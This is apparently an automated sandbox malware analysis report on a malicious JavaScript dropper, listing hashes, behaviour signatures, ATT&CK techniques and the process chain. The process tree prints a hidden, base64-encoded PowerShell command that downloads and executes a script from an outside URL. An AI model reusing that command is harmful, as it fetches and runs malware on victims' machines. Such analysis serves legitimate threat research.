8c726bdeedc05247e575e12b35a14a99c4120f0d76e0390552e02994e5bd4cdb

Analysis

max time kernel
137s
max time network
161s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
30/12/2023, 23:19

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General

Target

1fc9a978424cdfc24b6fa036664a96c4.js
Size

92KB
MD5

1fc9a978424cdfc24b6fa036664a96c4
SHA1

edf04b645d45474b29d14ba57e875cd972249558
SHA256

8c726bdeedc05247e575e12b35a14a99c4120f0d76e0390552e02994e5bd4cdb
SHA512

3ee15170a00c15cee2ac970dae4ca09f56975120c12f5b04915e38c4b94c71d1bd837a8c72653481e367ba0d8ca240a34df0e27fde1883b7040b871a4a9f9057
SSDEEP

1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oG:59Ry98guHVBqqg2bcruzUHmLKeMMU7GY

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	968	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
968	powershell.exe
968	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	968	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4244 wrote to memory of 2944	4244	wscript.exe	93
PID 4244 wrote to memory of 2944	4244	wscript.exe	93
PID 2944 wrote to memory of 968	2944	cmd.exe	95
PID 2944 wrote to memory of 968	2944	cmd.exe	95

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1fc9a978424cdfc24b6fa036664a96c4.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ivizsaxh.vnd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/968-6-0x0000015544BD0000-0x0000015544BF2000-memory.dmp

Filesize
136KB

Download
memory/968-11-0x00007FFCAEF80000-0x00007FFCAFA41000-memory.dmp

Filesize
10.8MB

Download
memory/968-13-0x0000015528D80000-0x0000015528D90000-memory.dmp

Filesize
64KB

Download
memory/968-12-0x0000015528D80000-0x0000015528D90000-memory.dmp

Filesize
64KB

Download
memory/968-16-0x00007FFCAEF80000-0x00007FFCAFA41000-memory.dmp

Filesize
10.8MB

Download